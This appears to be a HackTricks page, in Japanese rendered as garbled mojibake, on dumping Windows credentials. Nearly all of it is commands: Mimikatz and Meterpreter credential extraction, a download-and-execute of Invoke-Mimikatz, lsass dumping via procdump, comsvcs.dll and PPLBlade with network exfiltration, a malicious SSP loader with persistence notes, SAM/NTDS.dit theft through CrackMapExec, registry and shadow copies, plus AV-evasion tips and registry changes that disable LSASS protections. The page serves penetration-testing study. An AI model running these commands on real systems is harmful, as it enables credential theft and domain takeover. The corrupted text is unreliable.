Windows Credentials ã®çªå
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Credentials Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Mimikatzãã§ãããã®ä»ã®ããšã¯ this pageã§ç¢ºèªããŠãã ããã
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
ããã§ããã€ãã®å¯èœãª credentials protections ã«ã€ããŠåŠãã§ãã ããã ãããã® protections 㯠Mimikatz ãäžéšã® credentials ãæœåºããã®ãé²ãå¯èœæ§ããããŸãã
Credentials with Meterpreter
Credentials Plugin ç§ãäœæãã ã䜿çšããŠã被害è å ã§ passwords and hashes ãæ€çŽ¢ããã
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
AVã®ãã€ãã¹
Procdump + Mimikatz
Procdump from SysInternals **ã¯æ£èŠã® Microsoft ããŒã«ã§ãããããDefenderã«æ€åºãããŸããã
ãã®ããŒã«ã䜿çšã㊠dump the lsass processãdownload the dump ãããã³ããã extract ã㊠credentials locally ãåãåºãããšãã§ããŸãã
ãŸãSharpDumpã䜿çšããããšãã§ããŸãã
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
ãã®ããã»ã¹ã¯ SprayKatz ã§èªåçã«è¡ãããŸã: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
泚: äžéšã® AV 㯠procdump.exe to dump lsass.exe ã®äœ¿çšã malicious ãš detect ããå ŽåããããŸããããã¯åœŒãã âprocdump.exeâ and âlsass.exeâ ãšããæååãæ€åºããŠããããã§ãããããã£ãŠãlsass.exe ãšãã name ãæž¡ã代ããã«ãlsass.exe ã® PID ã argument ãšã㊠procdump ã« pass ããæ¹ã stealthier ã§ãã
comsvcs.dll ã䜿ã£ã lsass ã®ãã³ã
C:\Windows\System32 ã«ãã comsvcs.dll ãšãã DLL ã¯ãã¯ã©ãã·ã¥æã« ããã»ã¹ã®ã¡ã¢ãªããã³ããã 圹å²ãæ
ã£ãŠããŸãããã® DLL ã«ã¯ rundll32.exe ããåŒã³åºãããšãæ³å®ãã MiniDumpW ãšãã function ãå«ãŸããŠããŸãã
æåã®2ã€ã®åŒæ°ã䜿ããã©ããã¯éèŠã§ã¯ãããŸãããã3çªç®ã®åŒæ°ã¯3ã€ã®ã³ã³ããŒãã³ãã«åãããŸãããã³ã察象ã®ããã»ã¹ ID ã第1ã®ã³ã³ããŒãã³ãããã³ããã¡ã€ã«ã®å Žæã第2ã®ã³ã³ããŒãã³ãã§ã3çªç®ã®ã³ã³ããŒãã³ãã¯å³å¯ã«åèª full ã§ãã代æ¿ã®ãªãã·ã§ã³ã¯ååšããŸããã
ããã3ã€ã®ã³ã³ããŒãã³ããè§£æãããšãDLL ã¯ãã³ããã¡ã€ã«ã®äœæãè¡ããæå®ããããã»ã¹ã®ã¡ã¢ãªããã®ãã¡ã€ã«ãžè»¢éããŸãã
comsvcs.dll ãå©çšããã° lsass ããã»ã¹ããã³ãã§ãããããprocdump ãã¢ããããŒãããŠå®è¡ããå¿
èŠããªããªããŸãããã®ææ³ã®è©³çŽ°ã¯ https://en.hackndo.com/remote-lsass-dump-passwords/ ã«èšèŒãããŠããŸãã
å®è¡ã«äœ¿çšããã³ãã³ãã¯æ¬¡ã®ãšããã§ãïŒ
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
ãã®ããã»ã¹ã¯ lsassyã§èªååã§ããŸãã
Task Manager ã䜿ã£ã lsass ã®ãã³ã
- ã¿ã¹ã¯ããŒãå³ã¯ãªãã¯ã㊠Task Manager ãã¯ãªãã¯ããŸã
- ãMore detailsããã¯ãªãã¯ããŸã
- Processes ã¿ãã§ âLocal Security Authority Processâ ããã»ã¹ãæ€çŽ¢ããŸã
- âLocal Security Authority Processâ ããã»ã¹ãå³ã¯ãªãã¯ããâCreate dump fileâ ãã¯ãªãã¯ããŸãã
procdump ã䜿ã£ã lsass ã®ãã³ã
Procdump 㯠Microsoft ã«ãã£ãŠçœ²åããããã€ããªã§ãsysinternals ã¹ã€ãŒãã®äžéšã§ãã
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
PPLBladeã䜿ã£ãŠlsassããã³ããã
PPLBlade ã¯ãProtected Process Dumper Toolã§ãã¡ã¢ãªãã³ããé£èªåãããã£ã¹ã¯ã«æžã蟌ãããšãªããªã¢ãŒãã¯ãŒã¯ã¹ããŒã·ã§ã³ãžè»¢éããããšããµããŒãããŸãã
äž»ãªæ©èœ:
- PPLä¿è·ã®ãã€ãã¹
- Defenderã®ã·ã°ããã£ããŒã¹ã®æ€åºãåé¿ããããã®ã¡ã¢ãªãã³ããã¡ã€ã«ã®é£èªå
- RAWããã³SMBã¢ããããŒãæ¹åŒã§ã¡ã¢ãªãã³ãããã£ã¹ã¯ã«æžã蟌ãããšãªãã¢ããããŒãïŒfileless dumpïŒ
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
LalsDumper â SSPããŒã¹ã®LSASSãã³ãïŒMiniDumpWriteDumpã䜿çšããªãïŒ
Ink Dragonã¯LalsDumperãšãã3段éã®ãã³ããŒã忢±ããŠãããMiniDumpWriteDumpãåŒã³åºããªããããEDRã®åœè©²APIã«å¯Ÿããããã¯ã¯çºåããŸãã:
- Stage 1 loader (
lals.exe) âfdp.dllå ã§32åã®å°æåã®dãããªããã¬ãŒã¹ãã«ããæ€çŽ¢ãããããrtu.txtãžã®çµ¶å¯Ÿãã¹ã§äžæžãããŠããããæžã¿ã®DLLãnfdp.dllãšããŠä¿åããAddSecurityPackageA("nfdp","fdp")ãåŒã³åºããŸããããã«ããLSASSã¯æªæã®ããDLLãæ°ããSecurity Support Provider (SSP)ãšããŠããŒãããŸãã - Stage 2 inside LSASS â LSASSã
nfdp.dllãããŒããããšãDLLã¯rtu.txtãèªã¿åããåãã€ãã0x20ã§XORããŠãã³ãŒãããããããã¡ã¢ãªã«ãããããå®è¡ãç§»ããŸãã - Stage 3 dumper â ãããããããã€ããŒãã¯ãããã·ã¥åãããAPIåãã解決ããdirect syscallsãçšããŠMiniDumpããžãã¯ãåå®è£
ããŸãïŒ
seed = 0xCD7815D6; h ^= (ch + ror32(h,8))ïŒãTomãšããå°çšã®ãšã¯ã¹ããŒãã%TEMP%\<pid>.ddtãéããå§çž®ãããLSASSãã³ãããã¡ã€ã«ã«ã¹ããªãŒã ããŠãã³ãã«ãéããåŸã§exfiltrationã§ããŸãã
Operator notes:
lals.exe,fdp.dll,nfdp.dll, ããã³rtu.txtãåããã£ã¬ã¯ããªã«çœ®ããŠãã ãããStage 1ã¯ããŒãã³ãŒãããããã¬ãŒã¹ãã«ããrtu.txtã®çµ¶å¯Ÿãã¹ã§æžãæãããããåå²ãããšãã§ãŒã³ãéåããŸãã- ç»é²ã¯
nfdpãHKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packagesã«è¿œå ããããšã§è¡ãããŸããèªåã§ãã®å€ãèšå®ããã°ãLSASSã¯æ¯åããŒãæã«SSPããªããŒãããŸãã %TEMP%\*.ddtãã¡ã€ã«ã¯å§çž®ããããã³ãã§ããããŒã«ã«ã§è§£åããŠããMimikatz/Volatilityã«æž¡ããŠè³æ Œæ å ±ãæœåºããŠãã ãããlals.exeã®å®è¡ã«ã¯ admin/SeTcb æš©éãå¿ èŠã§ãAddSecurityPackageAãæåããŸããã³ãŒã«ãè¿ããšãLSASSã¯ééçã«äžæ£ãªSSPãããŒãã㊠Stage 2 ãå®è¡ããŸãã- ãã£ã¹ã¯ããDLLãåé€ããŠãLSASSããã¯æé€ãããŸãããã¬ãžã¹ããªãšã³ããªãåé€ããŠLSASSãåèµ·åïŒåèµ·åïŒããããé·æçãªæ°žç¶åã®ããã«ãã®ãŸãŸæ®ããŠãã ããã
CrackMapExec
SAMããã·ã¥ã®ãã³ã
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
target DC ãã NTDS.dit ã Dump
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
ã¿ãŒã²ãã DC ãã NTDS.dit ã®ãã¹ã¯ãŒãå±¥æŽã Dump
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
å NTDS.dit ã¢ã«ãŠã³ãã® pwdLastSet 屿§ã衚瀺ãã
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
SAM & SYSTEM ã®çªå
ãããã®ãã¡ã€ã«ã¯ C:\windows\system32\config\SAM ããã³ C:\windows\system32\config\SYSTEM. ã«é 眮ãããŠããŸããããããéåžžã®æ¹æ³ã§åçŽã«ã³ããŒããããšã¯ã§ããŸãããä¿è·ãããŠããããã§ãã
From Registry
ãããã®ãã¡ã€ã«ãçªåããæãç°¡åãªæ¹æ³ã¯ãRegistry ããã³ããŒãååŸããããšã§ãïŒ
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
ãããã®ãã¡ã€ã«ãããªãã® Kali ãã·ã³ã«ããŠã³ããŒãããæ¬¡ã®ã³ãã³ãã§hashes ãæœåºããŸã:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
ãã®ãµãŒãã¹ã䜿çšããŠä¿è·ããããã¡ã€ã«ã®ã³ããŒãååŸã§ããŸããAdministrator æš©éãå¿ èŠã§ãã
Using vssadmin
vssadmin ãã€ããªã¯ Windows Server ã®ããŒãžã§ã³ã§ã®ã¿å©çšå¯èœã§ã
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
ããããPowershell ããåãããšãã§ããŸãããã㯠SAM file ãã³ããŒããæ¹æ³ ã®äŸã§ãïŒäœ¿çšãããããŒããã©ã€ã㯠âC:âãä¿åå 㯠C:\users\PublicïŒããä»»æã®ä¿è·ããããã¡ã€ã«ãã³ããŒããããã«ã䜿çšã§ããŸãïŒ
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}
æžç±ããã®ã³ãŒã: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
æåŸã«ãPS script Invoke-NinjaCopy ã䜿çšã㊠SAMãSYSTEMãããã³ ntds.dit ã®ã³ããŒãäœæããããšãã§ããŸãã
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory è³æ Œæ å ± - NTDS.dit
The NTDS.dit file 㯠Active Directory ã®äžå¿éšãšããŠç¥ãããŠããããŠãŒã¶ãŒãªããžã§ã¯ããã°ã«ãŒããããã³ãããã®ã¡ã³ããŒã·ããã«é¢ããéèŠãªããŒã¿ãä¿æããŸãããã¡ã€ã³ãŠãŒã¶ãŒã® password hashes ãä¿åãããŠããå Žæã§ãããã®ãã¡ã€ã«ã¯ Extensible Storage Engine (ESE) ããŒã¿ããŒã¹ã§ã%SystemRoom%/NTDS/ntds.dit ã«é 眮ãããŠããŸãã
ãã®ããŒã¿ããŒã¹å ã«ã¯ãäž»ã«3ã€ã®ããŒãã«ãä¿æãããŠããŸã:
- Data Table: ãã®ããŒãã«ã¯ãŠãŒã¶ãŒãã°ã«ãŒããªã©ã®ãªããžã§ã¯ãã«é¢ããè©³çŽ°ãæ ŒçŽããŸãã
- Link Table: ã°ã«ãŒãã¡ã³ããŒã·ãããªã©ã®é¢ä¿ã远跡ããŸãã
- SD Table: åãªããžã§ã¯ãã® Security descriptors ãããã«æ ŒçŽãããä¿åããããªããžã§ã¯ãã®ã»ãã¥ãªãã£ãšã¢ã¯ã»ã¹å¶åŸ¡ã確ä¿ãããŸãã
More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows uses Ntdsa.dll to interact with that file and its used by lsass.exe. ãã®ãããNTDS.dit ãã¡ã€ã«ã®äžéšã¯ lsass ã®ã¡ã¢ãªå
ã«ååšããããšãããïŒãã£ãã·ã¥ã«ããæ§èœæ¹åã®ãããçŽè¿ã¢ã¯ã»ã¹ãããããŒã¿ãèŠã€ããå¯èœæ§ããããŸãïŒãææ°ã«ã¢ã¯ã»ã¹ãããããŒã¿ãèŠã€ããããããšããããŸãã
NTDS.dit å ã®ããã·ã¥ã®åŸ©å·
ããã·ã¥ã¯3段éã§æå·åãããŠããŸã:
- Password Encryption Key (PEK) ã BOOTKEY ãš RC4 ã䜿ã£ãŠåŸ©å·ããŸãã
- 次㫠PEK ãš RC4 ã䜿ã£ãŠãã® hash ã埩å·ããŸãã
- æåŸã« DES ã䜿ã£ãŠ hash ã埩å·ããŸãã
PEK 㯠ãã¹ãŠã®ãã¡ã€ã³ã³ã³ãããŒã©ãŒã§åãå€ ãæã¡ãŸãããåãã¡ã€ã³ã³ã³ãããŒã©ãŒããšã«ç°ãªã SYSTEM ãã¡ã€ã«ã® BOOTKEY ã䜿ã£ãŠ NTDS.dit ãã¡ã€ã«å ã§ æå·å ãããŠããŸãïŒãã¡ã€ã³ã³ã³ãããŒã©ãŒéã§ç°ãªããŸãïŒããã®ãããNTDS.dit ããè³æ Œæ å ±ãååŸããã«ã¯ NTDS.dit ãš SYSTEM ã®ãã¡ã€ã«ãå¿ èŠã§ãïŒC:\Windows\System32\config\SYSTEMïŒã
Ntdsutil ã䜿ã£ã NTDS.dit ã®ã³ããŒ
Windows Server 2008 ããå©çšå¯èœã§ãã
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
ãŸããvolume shadow copy ããªãã¯ã䜿ã£ãŠ ntds.dit ãã¡ã€ã«ãã³ããŒããããšãã§ããŸããSYSTEM file ã®ã³ããŒãå¿ èŠã«ãªãããšãå¿ããªãã§ãã ããïŒç¹°ãè¿ããŸãããdump it from the registry or use the volume shadow copy ããªãã¯ã䜿ã£ãŠååŸããŠãã ããïŒã
NTDS.dit ãã hashes ãæœåºãã
NTDS.dit ãš SYSTEM ãã¡ã€ã«ãååŸããããsecretsdump.py ã®ãããªããŒã«ã䜿çšã㊠extract the hashes ã§ããŸãïŒ
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
ãŸããæå¹ãª domain admin user ã䜿çšããŠãããããèªåçã«æœåºã§ããŸã:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
For 倧ã㪠NTDS.dit ãã¡ã€ã« 㯠gosecretsdump ã䜿ã£ãŠæœåºããããšãæšå¥šããŸãã
æåŸã«ãmetasploit module: post/windows/gather/credentials/domain_hashdump ãŸã㯠mimikatz lsadump::lsa /inject ã䜿çšããããšãã§ããŸãã
NTDS.dit ãããã¡ã€ã³ãªããžã§ã¯ãã SQLite ããŒã¿ããŒã¹ã«æœåºãã
NTDS ãªããžã§ã¯ã㯠ntdsdotsqlite ã䜿ã£ãŠ SQLite ããŒã¿ããŒã¹ã«æœåºã§ããŸããraw NTDS.dit ãã¡ã€ã«ãæ¢ã«ååŸããŠããå Žåãsecrets ã ãã§ãªããªããžã§ã¯ãå šäœãšãã®å±æ§ãæœåºããããããªãæ å ±æœåºã«å©çšã§ããŸãã
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
The SYSTEM hive ã¯ãªãã·ã§ã³ã§ãããç§å¯æ
å ±ã®åŸ©å·åãå¯èœã«ããŸãïŒNT & LM hashesãsupplemental credentialsïŒcleartext passwords ãªã©ïŒãkerberos ã trust keysãNT & LM password historiesïŒãAlong with other information, the following data is extracted : user and machine accounts with their hashesãUAC flagsãtimestamp for last logon and password changeãaccounts descriptionãnamesãUPNãSPNãgroups and recursive membershipsãorganizational units tree and membershipãtrusted domains with trusts typeãdirection and attributesâŠ
Lazagne
Download the binary from here. ãã®ãã€ããªã䜿çšããŠãè€æ°ã®ãœãããŠã§ã¢ãã credentials ãæœåºã§ããŸãã
lazagne.exe all
SAM ãš LSASS ããè³æ Œæ å ±ãæœåºãããã®ä»ã®ããŒã«
Windows credentials Editor (WCE)
ãã®ããŒã«ã¯ã¡ã¢ãªããè³æ Œæ å ±ãæœåºããããã«äœ¿çšã§ããŸããDownload it from: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
SAM ãã¡ã€ã«ããè³æ Œæ å ±ãæœåºãã
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
SAMãã¡ã€ã«ããè³æ Œæ å ±ãæœåºãã
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
ããŠã³ããŒãå : http://www.tarasco.org/security/pwdump_7ãå®è¡ããã ãã§ãã¹ã¯ãŒããæœåºãããŸãã
ã¢ã€ãã«ç¶æ ã®RDPã»ãã·ã§ã³ã®åéãšã»ãã¥ãªãã£å¶åŸ¡ã®åŒ±äœå
Ink Dragon ã® FinalDraft RAT ã«ã¯ DumpRDPHistory ã¿ã¹ã«ãŒãå«ãŸããŠããããã®ææ³ã¯ã©ã® red-teamer ã«ãšã£ãŠã䟿å©ã§ã:
DumpRDPHistory ã¹ã¿ã€ã«ã®ãã¬ã¡ããªåé
- Outbound RDP targets â åãŠãŒã¶ãŒãã€ãã
HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*ããè§£æããŸããåãµãããŒã¯ãµãŒããŒåãUsernameHintãããã³æçµæžã蟌ã¿ã¿ã€ã ã¹ã¿ã³ããä¿åããŸããFinalDraft ã®ããžãã¯ã¯ PowerShell ã§åçŸã§ããŸã:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
- Inbound RDP evidence â
Microsoft-Windows-TerminalServices-LocalSessionManager/Operationalãã°ã Event ID 21ïŒæåãããã°ãªã³ïŒãš 25ïŒåæïŒã§ã¯ãšãªãã誰ããã¹ãã管çããŠãããããããããŸã:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
ã©ã® Domain Admin ã宿çã«æ¥ç¶ããŠããããããã£ããã圌ãã® åæããã ã»ãã·ã§ã³ããŸã ååšããŠããéã« LSASSïŒLalsDumper/Mimikatz ã䜿çšïŒããã³ãããŸããCredSSP + NTLM ãã©ãŒã«ããã¯ã¯åœŒãã® verifier ãš tokens ã LSASS ã«æ®ããããã㯠SMB/WinRM çµç±ã§ãªãã¬ã€ãã㊠NTDS.dit ãååŸãããããã¡ã€ã³ã³ã³ãããŒã©äžã§æ°žç¶åãä»èŸŒãããã«äœ¿ãããŸãã
Registry downgrades targeted by FinalDraft
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
DisableRestrictedAdmin=1ãèšå®ãããšãRDP äžã«å®å šãªè³æ Œæ å ±/ãã±ããã®åå©çšã匷å¶ãããpass-the-hash ã¹ã¿ã€ã«ã®ãããããå¯èœã«ããŸããLocalAccountTokenFilterPolicy=1㯠UAC ã®ããŒã¯ã³ãã£ã«ã¿ãªã³ã°ãç¡å¹ã«ããlocal admins ããããã¯ãŒã¯çµç±ã§å¶éã®ãªãããŒã¯ã³ãååŸã§ããããã«ããŸããDSRMAdminLogonBehavior=2㯠DC ããªã³ã©ã€ã³ã®éã« DSRM 管çè ã®ãã°ãªã³ãèš±å¯ããæ»æè ã«ãã1ã€ã®çµã¿èŸŒã¿ã®é«æš©éã¢ã«ãŠã³ããäžããŸããRunAsPPL=0㯠LSASS PPL ã®ä¿è·ãè§£é€ããLalsDumper ã®ãããªãã³ãããŒã«ã«ããã¡ã¢ãªã¢ã¯ã»ã¹ã容æã«ããŸãã
åèæç®
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


